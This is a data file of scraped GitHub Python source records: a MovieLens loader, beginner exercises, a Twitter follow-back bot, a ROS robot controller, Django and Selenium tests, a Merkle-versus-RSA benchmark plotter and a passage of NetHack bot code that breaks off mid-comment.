'IMDb_URL', 'unknown', 'Action', 'Adventure', 'Animation', 'Children',\n 'Comedy', 'Crime', 'Documentary', 'Drama', 'Fantasy', 'Film-Noir', 'Horror', 'Musical', 'Mystery', 'Romance', 'Sci-Fi',\n 'Thriller', 'War', 'Western']\n df_item = pd.read_csv('data/u.item', sep='|', names=item_header, encoding = \"ISO-8859-1\")\n df_item=df_item.drop(['title', 'release_date', 'video_release_date', 'IMDb_URL', 'unknown'],axis=1)\n df_user['age'] = pd.cut(df_user['age'], [0, 10, 20, 30, 40, 50, 60, 70, 80, 90, 100]\n ,labels=['0-10', '10-20', '20-30', '30-40', '40-50', '50-60', '60-70', '70-80', '80-90','90-100']\n )\n df_user=pd.get_dummies(df_user,columns=['gender','age','occupation'])\n df_user=df_user.drop(['zipcode'],axis=1)\n\n user_features = df_user.columns.values.tolist()\n movie_features = df_item.columns.values.tolist()\n # print(user_features,movie_features)\n features=user_features+movie_features\n rate_header = ['user_id', 'item_id', 'rating', 'timestamp']\n df_train = pd.read_csv('data/ua.base', sep='\\t', names=rate_header)\n df_train=df_train.drop(['timestamp'],axis=1)\n df_train = df_train.merge(df_user, on='user_id', how='left')\n df_train = df_train.merge(df_item, on='item_id', how='left')\n\n df_test = pd.read_csv('data/ua.test', sep='\\t', names=rate_header)\n df_test = df_test.merge(df_user, on='user_id', how='left')\n df_test = df_test.merge(df_item, on='item_id', how='left')\n train_labels = pd.get_dummies(df_train['rating'])\n train_labels.columns=['rate_'+str(name) for name in train_labels.columns]\n test_labels = pd.get_dummies(df_test['rating'])\n test_labels.columns = ['rate_' + str(name) for name in test_labels.columns]\n #print(df_train[features].values)\n return df_train[features].values,df_test[features].values,train_labels,test_labels\nload_data()","repo_name":"HelloMiracle/recommender","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"30117335848","text":"'''Crie um programa que simula o funcionamento de um caixa eletrônico. No início, pergunte ao usuário\nqual é o valor a ser sacado, ( número inteiro) e o programa vai informar quantas cédulas de cada valor\nserão entregues.\nOBS: Considere que o caixa possui cédulas de R$50, R$20 R$ 10 e R$1'''\n\nprint('='*30)\nprint('{:^30}'.format('BANCO CEV'))\nprint('='*30)\nvalor = int(input('Qual é o valor a ser sacado? R$'))\ntotal = valor\nced = 50\ntotalcedula = 0\nwhile True:\n if total>= ced:\n total -= ced\n totalcedula+=1\n else:\n if totalcedula >0:\n print(f'Total de {totalcedula} cédulas de R$ {ced}')\n if ced == 50:\n ced = 20\n elif ced == 20:\n ced =10\n elif ced == 10:\n ced = 1\n totalcedula = 0\n if total == 0:\n break\n\n","repo_name":"LouiseCerqueira/python3-exercicios-cursoemvideo","sub_path":"python3_exercicios_feitos/Desafio071.py","file_name":"Desafio071.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"41644077309","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[5]:\n\n\n#OAuth 1.0a \nfrom dotenv import load_dotenv\nload_dotenv()\nimport requests\nimport os\nimport json \nimport not_followed_followers\nimport utility\nfrom requests_oauthlib import OAuth1Session\n \ndef get_response(url,payload,user_data):\n oauth = OAuth1Session(\n user_data[\"consumer_key\"],\n client_secret=user_data[\"consumer_secret\"],\n resource_owner_key=user_data[\"access_token\"],\n resource_owner_secret=user_data[\"access_token_secret\"],\n )\n response = oauth.post(url.format(user_data[\"my_id\"]),json=payload)\n if response.status_code != 200:\n raise Exception(\"Request returned an error: {} {}\".format(response.status_code, response.text))\n print(\"Response code: {}\".format(response.status_code))\n json_response = response.json()\n print(json.dumps(json_response, indent=4, sort_keys=True))\n \ndef follow_back(url,user_data):\n if not_followed_followers.main():\n for to_follow in not_followed_followers.main():\n if to_follow!=id:\n payload = {'target_user_id': f'{to_follow}'}\n # Making the request\n get_response(url,payload,user_data)\n else:\n print(\"you can't follow yourself\")\n else:\n print(\"No one is remain for follow back\")\n\n \ndef main():\n user_data = utility.oauth_credential()\n url = \"https://api.twitter.com/2/users/{}/following\"\n follow_back(url,user_data)\n\nif __name__==\"__main__\":\n main()\n\n\n\n","repo_name":"vishu1994/Twitter-bot","sub_path":"follow_followers_bot/follow_back_to_followers.py","file_name":"follow_back_to_followers.py","file_ext":"py","file_size_in_byte":1579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"8093942705","text":"import pygame\n\nfrom . import board\nfrom . import events\nfrom . import settings\nfrom .pieces import pieces\n\n\nclass Model(object):\n \"\"\"Tracks the game state.\"\"\"\n def __init__(self, main_event_manager, input_event_manager):\n self._main_event_manager = main_event_manager\n self._main_event_manager.register_listener(self)\n input_event_manager.register_listener(self)\n self._running = False\n self._clock = pygame.time.Clock()\n\n def notify(self, event):\n if isinstance(event, events.QuitEvent):\n self._running = False\n elif isinstance(event, events.NewGameEvent):\n self._board = board.Board()\n elif isinstance(event, events.KeyPressEvent):\n self._handle_keypress(event)\n random_piece = pieces.get_random_piece()\n self._board.insert(random_piece)\n\n\n def get_box_color(self, x, y):\n return self._board.get_box_color(x, y)\n\n def _handle_keypress(self, event):\n pass\n\n def run(self):\n \"\"\"Starts the game loop. Pumps a tick into the event manager for\n each loop.\"\"\"\n self._running = True\n self._main_event_manager.post(events.InitializeEvent())\n self._main_event_manager.post(events.NewGameEvent())\n while self._running:\n tick = events.TickEvent()\n self._main_event_manager.post(tick)\n self._clock.tick(settings.FPS)\n\n","repo_name":"abstractlyZach/making-games-book-python","sub_path":"tetromino/tetromino/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"38328654839","text":"#!/usr/bin/env python\nimport rospy\nimport baxter_interface\nfrom std_msgs.msg import String\nfrom hpb_proj1.msg import State\nfrom hpb_proj1.srv import move_robot\nfrom Block import Block\n\n\nrospy.init_node('controller', anonymous=True)\nmoveRobot = rospy.ServiceProxy('move_robot', move_robot)\nblockLookup = {}\nr1 = [0,0]\ndescript = \"\"\nbusy = 0\n\ndef scatter():\n\tstackX = findStack()\n\tblock = getHighestBlock(stackX)\n\tlocationAdd = 0\n\tfor i in range(1,block.z):\n\t\tblock = getHighestBlock(stackX)\n\t\tif i == stackX:\n\t\t\tlocationAdd = 1\n\t\trospy.loginfo(block)\n\t\tmoveRobot(\"moveTo\",block.name)\n\t\trospy.sleep(.5)\n\t\tmoveRobot(\"closeGripper\",0)\n\t\trospy.sleep(.5)\n\t\tmoveRobot(\"moveAbove\",-(i+locationAdd))\n\t\trospy.sleep(.5)\n\t\tmoveRobot(\"openGripper\",0)\n\t\trospy.sleep(.5)\n\ndef stack_des():\n\tnum_blocks = rospy.get_param('/num_blocks')\n\tfor i in range(1,num_blocks):\n\t\tmoveRobot(\"moveTo\", num_blocks-i)\n\t\trospy.sleep(.5)\n\t\tmoveRobot(\"closeGripper\",0)\n\t\trospy.sleep(.5)\n\t\tmoveRobot(\"moveAbove\", num_blocks-i+1)\n\t\trospy.sleep(.5)\n\t\tmoveRobot(\"openGripper\",0)\n\t\ndef stack_asc():\n\tnum_blocks = rospy.get_param('/num_blocks')\n\tfor i in range(1,num_blocks):\n\t\tmoveRobot(\"moveTo\", i+1)\n\t\trospy.sleep(.5)\n\t\tmoveRobot(\"closeGripper\",0)\n\t\trospy.sleep(.5)\n\t\tmoveRobot(\"moveAbove\", i)\n\t\trospy.sleep(.5)\n\t\tmoveRobot(\"openGripper\",0)\n\ndef findStack():\n\tfor block in blockLookup.values():\n\t\tif block.z > 0:\n\t\t\treturn block.x\n\ndef getHighestBlock(position):\n\thighestBlock = None\n\thighestInd = -1\n\tfor block in blockLookup.values():\n\t\tif block.x == position and block.z > highestInd:\n\t\t\thighestBlock = block\n\t\t\thighestInd = block.z\n\treturn highestBlock\n\ndef handleCommand(command):\n global busy\n cmd = command.data\n if cmd == \"scatter\":\n if busy == 0:\n busy = 1\n scatter()\n busy = 0\n \n \n elif cmd == \"stack_asc\":\n if busy == 0:\n busy = 1\n scatter()\n stack_asc()\n busy = 0\n\n elif cmd == \"stack_desc\":\n if busy == 0:\n busy = 1\n scatter()\n stack_des()\n busy = 0\n \n \n\n# if cmd==currentState\n \ndef handleState(data):\n global blockLookup\n global r1\n global descript\n blockLookup = eval(data.blockRepr)\n r1 = data.r1\n descript = data.descript\n\n# Service that sends requests to the 'robot_interface' server\n\ndef controller():\n rospy.Subscriber(\"state\", State, handleState)\n rospy.Subscriber(\"command\", String, handleCommand)\n #action()\n rospy.spin()\n\nif __name__ == '__main__':\n controller()\n","repo_name":"shoemakerlevy9/cs4752_project1","sub_path":"hpb_proj1/src/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":2581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"72552976518","text":"from core.web_site import WebSite\nfrom iherb_selenium.iherb_settings import IherbSettings\n\n\nclass IherbTest:\n\n driver = None\n browser = None\n number_of_items = 2\n\n def setup_class(self):\n self.driver = WebSite()\n self.driver.init()\n self.browser = self.driver.browser\n self.site_inst = IherbSettings(self.browser)\n\n def teardown_class(self):\n self.driver.deinit()\n\n def test_add_two_items_to_cart(self):\n \"\"\"Verifies the ability to add two most expensive items to the shopping cart from the category\n \"\"\"\n self.site_inst.click_supplements_link()\n self.site_inst.click_price_high_to_low()\n self.site_inst.click_add_to_cart_buttons(self.number_of_items)\n actual_number_of_items = self.site_inst.get_cart_quantity(self.number_of_items)\n assert self.number_of_items == actual_number_of_items, \\\n 'Actual number of items (%i) is not equal to expected(%i)' \\\n % (actual_number_of_items, self.number_of_items)\n","repo_name":"ZoiaOchikova/e-shop","sub_path":"test/iherb_test.py","file_name":"iherb_test.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73478623237","text":"# Un ejemplo creando un directorio en la carpeta inicio del usuario:\nfrom pathlib import Path\nimport os\n\n# Se obtiene el directorio inicio del usuario en SO Linux y Windows\nfichero_path = Path(Path.home(), \"directorio_ficheros\")\nprint(Path.home())\n# Si no existe el directorio, se crea\nif not fichero_path.exists():\n os.makedirs(fichero_path)\n\n# Se agrego el fichero al path\nfichero_path = fichero_path.joinpath(\"quijote-ext03.txt\")\n\n# se escriben las siguientes líneas en el fichero\nwith fichero_path.open('w') as file:\n lineas = [\n \"Primera parte del ingenioso hidalgo don Quijote de la Mancha \\n\"\n \"Capítulo primero. Que trata de la condición y ejercicio del famoso \\n\"\n \"hidalgo don Quijote \\n\"\n ]\n file.writelines(lineas)\n","repo_name":"fortinux/curso2021nov","sub_path":"clase4/crear_directorio.py","file_name":"crear_directorio.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"13688801075","text":"import filecmp\nimport os\nimport datetime\nfrom Code.settings import BASE_DIR\nfrom django.core.files.uploadedfile import SimpleUploadedFile\nfrom django.test import TestCase\nfrom blog.models import Post, Comment\nfrom registration.models import CustomUser\n\n\nclass BlogModelsTestCase(TestCase):\n BASE_DIR = os.path.dirname(os.path.abspath(__file__))\n image_path = os.path.join(BASE_DIR, \"testMedia/image1.jpg\")\n\n def setUp(self):\n self.img = SimpleUploadedFile(name='test_image.jpg', content=open(self.image_path, 'rb').read(),\n content_type='image/jpeg')\n\n def test_post_model(self):\n exp_data = {\"title\": \"دریاچه سراوان\", \"description\": \"خیلی خوش گذشت!\", \"province\": \"گیلان\",\n \"city\": \"رشت\", \"date\": datetime.datetime.today().date(), \"image\": self.img}\n CustomUser.objects.create(username='gatmiry', password='2471351khf',\n birth_date=datetime.datetime.today(), image=self.img, first_name='خشایار',\n last_name='گتمیری', gender='male')\n user = CustomUser.objects.get(username='gatmiry')\n Post.objects.create(title='دریاچه سراوان', description='خیلی خوش گذشت!', owner=user,\n province='گیلان', city='رشت', image=self.img)\n self.assertEqual(Post.objects.count(), 1)\n post = Post.objects.get(owner=user)\n self.assertEqual(post.title, exp_data['title'])\n self.assertEqual(post.description, exp_data['description'])\n self.assertEqual(post.province, exp_data['province'])\n self.assertEqual(post.city, exp_data['city'])\n self.assertEqual(post.date, exp_data['date'])\n self.assertTrue(filecmp.cmp(os.path.join(BASE_DIR, post.image.path), self.image_path))\n\n def test_comment_model(self):\n exp_data = {'comment': 'بابا عالی بود'}\n CustomUser.objects.create(username='gatmiry', password='2471351khf',\n birth_date=datetime.datetime.today(), image=self.img, first_name='خشایار',\n last_name='گتمیری', gender='male')\n user = CustomUser.objects.get(username='gatmiry')\n Post.objects.create(title='دریاچه سراوان', description='خیلی خوش گذشت!', owner=user,\n province='گیلان', city='رشت', image=self.img)\n post = Post.objects.get(owner=user)\n Comment.objects.create(comment='بابا عالی بود', post=post, user=user)\n self.assertEqual(Comment.objects.count(), 1)\n comment = Comment.objects.get(post=post)\n self.assertEqual(comment.comment, exp_data['comment'])\n self.assertEqual(comment.user.username, 'gatmiry')\n","repo_name":"mahooly/Accommodation-Reservation-and-Management-Project","sub_path":"Code/blog/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":2843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"24843249222","text":"\"\"\"\nGiven an integer array nums of length n where all the integers of nums are in the range [1, n] and each integer appears once or twice, return an array of all the integers that appears twice.\n\nYou must write an algorithm that runs in O(n) time and uses only constant extra space.\n\n\n\nExample 1:\n\nInput: nums = [4,3,2,7,8,2,3,1]\nOutput: [2,3]\nExample 2:\n\nInput: nums = [1,1,2]\nOutput: [1]\nExample 3:\n\nInput: nums = [1]\nOutput: []\n\"\"\"\n\nfrom typing import List\n\n\ndef findDuplicates(nums: List[int]) -> List[int]:\n counts = {}\n for num in nums:\n counts[num] = counts.get(num, 0) + 1\n return [k for k, v in counts.items() if v > 1]\n\n\ndef findDuplicatesNegation(nums: List[int]) -> List[int]:\n result = []\n for num in nums:\n print(nums, num)\n if nums[abs(num) -1] < 0:\n result.append(abs(num))\n nums[abs(num)-1] = nums[abs(num)-1] * - 1\n return result\n\n\nprint(findDuplicatesNegation([1,2,3,5,2,3]))\n","repo_name":"rohitthakur8009/interview_prep","sub_path":"arrays/442_find_all_duplicates_in_array.py","file_name":"442_find_all_duplicates_in_array.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"8625357584","text":"import os\nimport pandas as pd\nimport torch\nimport torchvision\nfrom d2l import torch as d2l\n\nedge_size = 256\n\ndef read_data_bananas(is_train=True):\n data_dir = d2l.download_extract('banana-detection')\n csv_fname = os.path.join(data_dir, 'bananas_train' if is_train else 'bananas_val', 'label.csv')\n csv_data = pd.read_csv(csv_fname)\n csv_data = csv_data.set_index('img_name')\n images, targets = [], []\n for img_name, target in csv_data.iterrows():\n # print(img_name)\n # print(type(img_name))\n # print(target)\n # print(list(target))\n # break\n # print(type(target))\n full_img_path = os.path.join(data_dir, 'bananas_train' if is_train else 'bananas_val', 'images', img_name)\n images.append(torchvision.io.read_image(full_img_path) / 255)\n targets.append(list(target))\n return images, torch.tensor(targets).unsqueeze(dim=1) / edge_size\n\n# X, y = read_data_bananas(is_train=True)\n# print(len(X), len(y))\n# print(X.size())\n# print(y.size())\n# print(X[0])\n# print(y[0].dtype)\n\n\nclass BananaDataset(torch.utils.data.Dataset):\n def __init__(self, is_train=True):\n self.features, self.labels = read_data_bananas(is_train)\n print(''.join(['read ', str(len(self.features)),' ', 'training' if is_train else 'validation', ' examples']))\n\n def __getitem__(self, idx):\n return self.features[idx], self.labels[idx]\n \n\n def __len__(self):\n return len(self.features)\n\ndef load_data_bananas(batch_size):\n train_set = BananaDataset(is_train=True)\n val_set = BananaDataset(is_train=False)\n train_iter = torch.utils.data.DataLoader(train_set, batch_size, shuffle=True, num_workers=4)\n val_iter = torch.utils.data.DataLoader(val_set, batch_size, shuffle=False, num_workers=4)\n return train_iter, val_iter\n\nbatch_size = 32\ntrain_iter, val_iter = load_data_bananas(batch_size)\nX, y = next(iter(train_iter))\n# print(X.shape)\n# print(y.shape)\n# print(X)\n# print(y)\n\nimgs = X[0:10].permute(0, 2, 3, 1) \naxes = d2l.show_images(imgs, 2, 5, scale=2)\nfor ax, label in zip(axes, y[0:10]):\n d2l.show_bboxes(ax, [ label[0][1:5] * edge_size ], colors=['w'])\n\nd2l.plt.show()\n\n\n\n\n","repo_name":"ZhouXinghi/DeepLearning","sub_path":"41_bounding_box/banana_detect.py","file_name":"banana_detect.py","file_ext":"py","file_size_in_byte":2202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"21227985988","text":"import matplotlib.pyplot as plt\n\n\ndef read_RSA_benchmarks(idx):\n f = open(\"rsa_benchmarks.txt\", \"r\")\n text = f.read().split(\"--START RSA BENCHMARK--\\n\")\n measurements = text[idx].replace(\"(\", \"\").replace(\")\", \"\")\n f.close()\n return get_measurements(measurements)\n\n\ndef read_merkle_benchmarks(idx=1):\n fil = open(\"benchmarks.txt\", 'r')\n text = fil.read().split(\"NEW\\n\")\n lines = text[idx].split(\"\\n\")\n data = []\n for line in lines[:-1]:\n line = line.replace('[', '')\n line = line.replace(']', '')\n new_data = []\n for point in line.split(\",\"):\n new_data.append(float(point))\n data.append(new_data)\n return data\n\n\nclass RSAMeasurements():\n\n def __init__(self, insertion_times, k, memqueries_proof_times, memqueries_verify_times, nonmemqueries_proof_times,\n nonmemqueries_verify_times, nonmemwit_size, ns, sec):\n self.sec = sec\n self.insertions = ns\n self.nonmemwit_size = nonmemwit_size\n self.nonmemqueries_verify_times = nonmemqueries_verify_times\n self.nonmemqueries_proof_times = nonmemqueries_proof_times\n self.memqueries_verify_times = memqueries_verify_times\n self.memqueries_proof_times = memqueries_proof_times\n self.avg_hash_size = k\n self.insertion_times = insertion_times\n self.bulk_measurements = []\n self.deletion_times = []\n\n\ndef get_measurements(measurements):\n ns = []\n memqueries_proof_times = []\n memqueries_verify_times = []\n nonmemqueries_proof_times = []\n nonmemqueries_verify_times = []\n insertion_times = []\n memwit_size = []\n nonmemwit_size = []\n bulk_measurements = [[] for _ in range(16)]\n deletion_times = []\n verify_extra = 100\n reps = 5\n for measurement_no_split in measurements.split(\"\\n\")[:-1]:\n measurement = measurement_no_split.split(\",\")\n ns.append(int(measurement[0]))\n queries = int(measurement[1])\n k = float(measurement[11])\n sec = int(measurement[10])\n memqueries_proof_times.append(float(measurement[3]) / queries)\n memqueries_verify_times.append(float(measurement[4]) / int(measurement[1]) * reps / (reps * (1 + verify_extra)))\n nonmemqueries_proof_times.append(float(measurement[6]) / int(measurement[1]))\n nonmemqueries_verify_times.append(\n float(measurement[7]) / int(measurement[1]) * reps / (reps * (1 + verify_extra)))\n insertion_times.append(float(measurement[8]))\n memwit_size.append(float(measurement[12]))\n nonmemwit_size.append(float(measurement[13]))\n deletion_times.append(float(measurement[55]))\n measurement2 = measurement_no_split.split(\"[\")\n bulk_times = []\n for arrays in measurement2[1:]:\n arrays = arrays.split(\"]\")[0]\n narray = [float(x) for x in arrays.split(',')[:-1]]\n bulk_times.append(sum(narray) / len(narray))\n for i in range(len(bulk_times)):\n bulk_measurements[i].append(bulk_times[i])\n\n measurementObject = RSAMeasurements(insertion_times, k, memqueries_proof_times, memqueries_verify_times,\n nonmemqueries_proof_times,\n nonmemqueries_verify_times, nonmemwit_size, ns, sec)\n measurementObject.bulk_measurements = bulk_measurements\n measurementObject.deletion_times = deletion_times\n return measurementObject\n\n\ndef make_plots():\n measurement40 = read_RSA_benchmarks(1)\n measurement80 = read_RSA_benchmarks(2)\n measurement402 = read_RSA_benchmarks(3)\n measurement802 = read_RSA_benchmarks(4)\n merkle_measure = read_merkle_benchmarks()\n benchmark_results = \"merkleVSRSA/\"\n\n def update_insert_times(times):\n interval = 10000\n new_times = []\n for i in range(0, len(times)):\n if i > 1:\n new_times.append((times[i] - times[i - 1]) / (interval))\n else:\n new_times.append((times[i] / (interval)))\n return new_times\n\n # Plot insertion\n xs = [n + 10000 for n in merkle_measure[0]]\n plt.title(\"Avg. insertion time\")\n plt.xlabel(\"Total insertions\")\n plt.ylabel(\"Time in seconds\")\n plt.ticklabel_format(axis=\"y\", style=\"sci\", scilimits=(0, 0))\n # avg for 0-10k 10-20k and so on.\n # plt.plot(uns, update_insert_times(measurement40.insertion_times), label=\"hash40\")\n print(xs)\n print(measurement80.insertions)\n plt.plot(xs, update_insert_times(measurement80.insertion_times), label=\"RSA-hash80\")\n plt.plot(xs, merkle_measure[1], label=\"Merkle\")\n # plt.plot(uns, update_insert_times(measurement402.insertion_times), '--',label=\"No-u-hash40\")\n # plt.plot(uns, update_insert_times(measurement802.insertion_times), '--',label=\"No-u-hash80\")\n plt.legend(loc=\"upper left\")\n plt.savefig(benchmark_results + \"VSinsertion_times.png\")\n plt.show()\n\n plt.title(\"Avg. deletion time\")\n plt.xlabel(\"Total insertions\")\n plt.ylabel(\"Time in seconds\")\n plt.ticklabel_format(axis=\"y\", style=\"sci\", scilimits=(0, 0))\n # avg for 0-10k 10-20k and so on.\n # plt.plot(uns, update_insert_times(measurement40.insertion_times), label=\"hash40\")\n plt.plot(xs, update_insert_times(measurement80.deletion_times), label=\"RSA-hash80\")\n plt.plot(xs, merkle_measure[2][::-1], label=\"Merkle\")\n # plt.plot(uns, update_insert_times(measurement402.insertion_times), '--',label=\"No-u-hash40\")\n # plt.plot(uns, update_insert_times(measurement802.insertion_times), '--',label=\"No-u-hash80\")\n plt.legend(loc=\"upper left\")\n plt.savefig(benchmark_results + \"VSDeletion_times.png\")\n plt.show()\n\n # WitGen is compared differently\n\n # WitVer\n\n plt.title(\"Avg. membership witness verification time\")\n plt.xlabel(\"Total insertions\")\n plt.ylabel(\"Time in seconds\")\n plt.ticklabel_format(axis=\"y\", style=\"sci\", scilimits=(0, 0))\n # avg for 0-10k 10-20k and so on.\n # plt.plot(uns, update_insert_times(measurement40.insertion_times), label=\"hash40\")\n plt.plot(xs, measurement80.memqueries_verify_times, label=\"RSA-hash80\")\n plt.plot(xs, merkle_measure[4], label=\"Merkle\")\n # plt.plot(uns, update_insert_times(measurement402.insertion_times), '--',label=\"No-u-hash40\")\n # plt.plot(uns, update_insert_times(measurement802.insertion_times), '--',label=\"No-u-hash80\")\n plt.legend(loc=\"upper left\")\n plt.savefig(benchmark_results + \"VSMembership_Verification_times.png\")\n plt.show()\n\n # NonMem\n plt.title(\"Avg. non-membership witness verification time\")\n plt.xlabel(\"Total insertions\")\n plt.ylabel(\"Time in seconds\")\n plt.ticklabel_format(axis=\"y\", style=\"sci\", scilimits=(0, 0))\n # avg for 0-10k 10-20k and so on.\n # plt.plot(uns, update_insert_times(measurement40.insertion_times), label=\"hash40\")\n plt.plot(xs, measurement80.nonmemqueries_verify_times, label=\"RSA-hash80\")\n plt.plot(xs, merkle_measure[6], label=\"Merkle\")\n # plt.plot(uns, update_insert_times(measurement402.insertion_times), '--',label=\"No-u-hash40\")\n # plt.plot(uns, update_insert_times(measurement802.insertion_times), '--',label=\"No-u-hash80\")\n plt.legend(loc=\"upper left\")\n plt.savefig(benchmark_results + \"VSNonMembership-Verification_times.png\")\n plt.show()\n\n # Compare sizes???\n\n\nmake_plots()\n","repo_name":"SorenAsger/MongoDBMerkleTree","sub_path":"MerkleVSRSA.py","file_name":"MerkleVSRSA.py","file_ext":"py","file_size_in_byte":7326,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"15607828244","text":"import random\n\nfrom AscLevelConstants import *\n\nfrom AscAnsi import Ansi, AnsiSquare\nfrom AscMonster import MonsterHistory\nfrom AscWallSearch import WallSearch\nfrom AscUtil import distL1, distLinf, get_bounding_coordinates, vi_delta_pairs, Rect\nimport AscSokoban\nimport AscDetect\n\nclass ItemHistory:\n \"\"\"\n This class is analogous to MonsterHistory,\n except it deals with items instead of monsters.\n It is less sophisticated because items tend to be less mobile and aggressive.\n This might eventually include the inventory of each square.\n \"\"\"\n def __init__(self, ansi_square):\n newansi = ansi_square.copy()\n self.ansi_square = newansi\n self.exploration_level = EXP_UNEXPLORED\n def is_explored(self):\n return (self.exploration_level == EXP_EXPLORED)\n def set_explored(self):\n self.exploration_level = EXP_EXPLORED\n\n def get_connected_regions(self, force_safe = False):\n \"\"\"\n Returns a list of regions that are connected to the player region.\n Danger is disregarded for now.\n \"\"\"\n shell = [self]\n connected_regions = [self]\n while shell:\n new_shell = []\n for region in shell:\n if force_safe:\n neighbors_and_distances = list(region.gen_safe_neighbors_and_distances())\n else:\n neighbors_and_distances = list(region.gen_neighbors_and_distances())\n for neighbor, distance in neighbors_and_distances:\n if neighbor not in connected_regions:\n connected_regions.append(neighbor)\n new_shell.append(neighbor)\n shell = new_shell\n return connected_regions\n\n def get_best_neighbor_region(self):\n \"\"\"\n Return the neighboring region that is closest to the\n shallowest connected unexplored region.\n If there is no such region or if the player's region is best then return None.\n If the current region is best return None.\n This function does not allow traversal of suicidally dangerous links.\n \"\"\"\n verbose = True\n if verbose:\n self.remark('get_best_neighbor_region')\n # First get the list of target levels without regard to distance.\n connected_regions = self.get_safe_connected_regions()\n if verbose:\n self.remark('%d safely connected regions:' % len(connected_regions))\n for region in connected_regions:\n self.remark(str(region))\n unexplored_regions = [r for r in connected_regions if r.exploration_level == EXP_UNEXPLORED and r.exploration_danger_level == DANGER_SAFE]\n if verbose:\n self.remark('%d safely unexplored safely connected regions:' % len(unexplored_regions))\n for region in unexplored_regions:\n self.remark(str(region))\n if not unexplored_regions:\n return None\n shallowest_dlvl = min(r.level.level_dlvl for r in unexplored_regions)\n target_regions = [r for r in unexplored_regions if r.level.level_dlvl == shallowest_dlvl]\n if verbose:\n self.remark('%d target regions:' % len(target_regions))\n for region in target_regions:\n self.remark(str(region))\n if self in target_regions:\n return None\n return self.get_best_neighbor_region_helper(connected_regions, target_regions)\n\n def get_best_neighbor_region_desperate(self):\n \"\"\"\n Return the neighboring region that is closest to a region that may need thorough exploration.\n If there is no such region or if the path is too dangerous then return None\n If the current region is best return None.\n This function does not allow traversal of suicidally dangerous links.\n \"\"\"\n self.remark('get_best_neighbor_region_desperate')\n # Get the list of regions that are connected to this region.\n connected_regions = self.get_safe_connected_regions()\n if not connected_regions:\n self.remark('no safely connected regions')\n return None\n self.remark('%d safely connected regions:' % len(connected_regions))\n for region in connected_regions:\n self.remark(str(region))\n # Of the connected regions, get the list of regions that are in the doom branch or an unknown branch or minetown.\n filtered_connected_regions = []\n for region in connected_regions:\n if region.level.level_branch in (LEVEL_BRANCH_UNKNOWN, LEVEL_BRANCH_DOOM) or region.level.level_special == LEVEL_SPECIAL_MINETOWN:\n filtered_connected_regions.append(region)\n if not filtered_connected_regions:\n self.remark('none of these regions are in the appropriate branch or special level')\n return None\n self.remark('of these regions %d were in an appropriate branch or special level:' % len(filtered_connected_regions))\n for region in filtered_connected_regions:\n self.remark(str(region))\n # Of the remaining interesting regions get the ones that are not adjacent to a region with down stairs.\n target_regions = []\n for region in filtered_connected_regions:\n has_adjacent_stair_down = False\n for adjacent_region, distance in region.gen_safe_neighbors_and_distances():\n if adjacent_region.region_type == REGION_DOWN:\n has_adjacent_stair_down = True\n if not has_adjacent_stair_down:\n target_regions.append(region)\n if not target_regions:\n self.remark('all of these regions are safely connected to a down stair region on the same level')\n return None\n self.remark('of these regions %d are not safely connected to a down stair region on the same level:' % len(target_regions))\n for region in target_regions:\n self.remark(str(region))\n # if our own region is a target region then return None\n if self in target_regions:\n return None\n # return the neighbor region on the path to the closest target region\n return self.get_best_neighbor_region_helper(connected_regions, target_regions)\n\n def get_best_neighbor_region_helper(self, connected_regions, target_regions):\n \"\"\"\n This is a helper function that should be called by one of:\n {get_best_neighbor_region, get_best_neighbor_region_desperate}\n Given a list of target regions it finds the adjacent region closest to the nearest target region.\n \"\"\"\n # Now find the closest of these regions.\n # Use a cheesy best first search with an inefficient priority queue.\n region_id_to_distance = dict((id(r), 0) for r in target_regions)\n regions_and_distances = [(r, 0) for r in target_regions]\n while len(regions_and_distances) < len(connected_regions):\n # get the shell of all neighbors and their distances\n distances_and_neighbors = []\n for region, distance in regions_and_distances:\n for neighbor, ddist in region.gen_neighbors_and_distances():\n if id(neighbor) not in region_id_to_distance:\n distances_and_neighbors.append((distance + ddist, neighbor))\n # add the closest neighbor of the entire shell\n best_distance, best_neighbor = min(distances_and_neighbors)\n region_id_to_distance[id(best_neighbor)] = best_distance\n regions_and_distances.append((best_neighbor, best_distance))\n # Determine which neighboring region to approach.\n # This is like traceback.\n distance_and_neighbor = [(region_id_to_distance[id(r)], r) for r, d in self.gen_neighbors_and_distances()]\n best_distance, best_neighbor = min(distance_and_neighbor)\n return best_neighbor\n\n\nclass LevelSquare:\n def __init__(self):\n # where is the square?\n self.loc = None\n # what is the type of the square?\n self.hard = HM_UNKNOWN\n # is graffiti known to be on the square?\n self.graffiti = False\n # has the square been stepped on by the player?\n self.trod = False\n # is the square in a store?\n self.store = GM_NONE\n # how many searches have been done from this square?\n self.search_count_from = 0\n # how many searches have been done to this square?\n self.search_count_to = 0\n # what trap is on the square?\n self.trap = TRAP_UNKNOWN\n # what is the monster history of this square?\n self.monster = None\n # what is the item history of this square?\n self.item = None\n # cache the passable neighbor locations for speed\n self.passable_neighbor_locations = []\n # what are the names of the large containers dropped here?\n self.large_container_names = []\n # is there a boulder on the 